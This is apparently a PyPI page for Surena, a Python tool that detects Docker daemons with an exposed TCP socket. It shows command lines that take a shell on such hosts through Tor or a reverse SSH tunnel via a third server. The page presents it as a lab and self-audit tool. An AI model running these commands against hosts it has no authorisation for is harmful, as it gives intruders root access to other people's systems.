Skip to main content

No project description provided

Project description

Surena

Surena is a tool developed to assess vulnerabilities in Docker daemons when their TCP socket is exposed to a network without paying attention to its security issues. It is developed using Click, a Python CLI library, and the Docker SDK for Python. Surena demonstrates how a hacker can gain shell access from an insecure Docker Host using two methods: Tor Network and SSH Reverse Tunneling. To understand more about how Surena works and how to use these methods, please refer to Medium article: article. The name Surena is derived from a Parthian(Iranian) spahbed from the first century BC. For further information, you can visit the Wikipedia page on Surena.

Installation

Surena can be installed from PyPI by running:

pip install surena

Once installed, Surena can be run using the following commands in your terminal. To view available commands and options, use:

surena --help

Using

Surena offers two commands: is-docker-host and get-docker-host. The is-docker-host command checks if the Docker daemon's TCP port is accessible from the network. To understand its options, run:

surena is-docker-host --help

For example, execute the command with these options:

surena is-docker-host --docker-host-address $DOCKER_HOST_IP --docker-host-port $DOCKER_HOST_PORT

The get-docker-host command is used to gain shell access from the Docker daemon using two methods. To understand its options, run:

surena get-docker-host --help

Please note, if Surena can gain shell access from the Docker host, it will create a text file named "WARNING.surena" in the "/root/" path of the Docker host. For example, to gain shell access using the Tor Network method, run this command with the following options:

surena get-docker-host --docker-host-address $DOCKER_HOST_IP --docker-host-port $DOCKER_HOST_PORT --access-method tor

To gain shell access using the Reverse SSH Tunneling method, run this command with the following options:

surena get-docker-host --docker-host-address $DOCKER_HOST_IP --docker-host-port $DOCKER_HOST_PORT --access-method reverse-ssh --ssh-server-address $THIRD_SERVER_IP --ssh-server-username $THIRD_SERVER_USERNAME --ssh-server-password $THIRD_SERVER_PASSWORD --ssh-server-port $THIRD_SERVER_SSH_PORT

Please note that in the remote SSH server or in the THIRD_SERVER_IP, which has already been mentioned, the "GatewayPorts" configuration in the sshd_config file located at /etc/ssh/sshd_config should be changed from GatewayPorts no to either GatewayPorts clientspecified or GatewayPorts yes to enable it.

Additionally, ensure to replace $DOCKER_HOST_IP, $DOCKER_HOST_PORT, $THIRD_SERVER_IP, $THIRD_SERVER_USERNAME, $THIRD_SERVER_PASSWORD, and $THIRD_SERVER_SSH_PORT with the appropriate values.

Warning

Surena is intended for lab use and to help you understand whether your Docker daemon is secure or insecure. PLEASE DO NOT USE SURENA FOR MALICIOUS ACTIVITIES.

Donate

If Surena has helped you secure your infrastructure, particularly those utilizing Docker daemons over the network, I would be grateful if you could consider supporting by donating Tether or Dogecoin.

USDT (TRC20): TXcb1yTW71QZhqVEFx3Y1JGZVu384Mt17B
Dogecoin: DRizEG8R6wW2cW5MNEAnERMMEMq6wupQMA

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

surena-0.1.3.tar.gz (11.9 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

surena-0.1.3-py3-none-any.whl (14.8 kB view details)

Uploaded Python 3

File details

Details for the file surena-0.1.3.tar.gz.

File metadata

  • Download URL: surena-0.1.3.tar.gz
  • Upload date:
  • Size: 11.9 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: poetry/1.7.0 CPython/3.12.3 Linux/6.5.0-1021-azure

File hashes

Hashes for surena-0.1.3.tar.gz
Algorithm Hash digest
SHA256 3db8d7dea49823a7173aeeba2782e267460cce8af52c7300c539a626ea884c63
MD5 0e8e0750e03e36b04c47613473fcdf3e
BLAKE2b-256 5128d829913c1daa25b1494986c0c5eee8d365a5e75b3bd0718fb5d89425a6f1

See more details on using hashes here.

File details

Details for the file surena-0.1.3-py3-none-any.whl.

File metadata

  • Download URL: surena-0.1.3-py3-none-any.whl
  • Upload date:
  • Size: 14.8 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: poetry/1.7.0 CPython/3.12.3 Linux/6.5.0-1021-azure

File hashes

Hashes for surena-0.1.3-py3-none-any.whl
Algorithm Hash digest
SHA256 71ea725d0dce4fd1213ade3961fa50d2a55de97d1d2077209cc621a120991a56
MD5 0cba4694e0351df1204e6fd16dc7857d
BLAKE2b-256 0521f7e58321617724bd38478bdd4c54eabd4548913a5fb225558561ad49bd1a

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page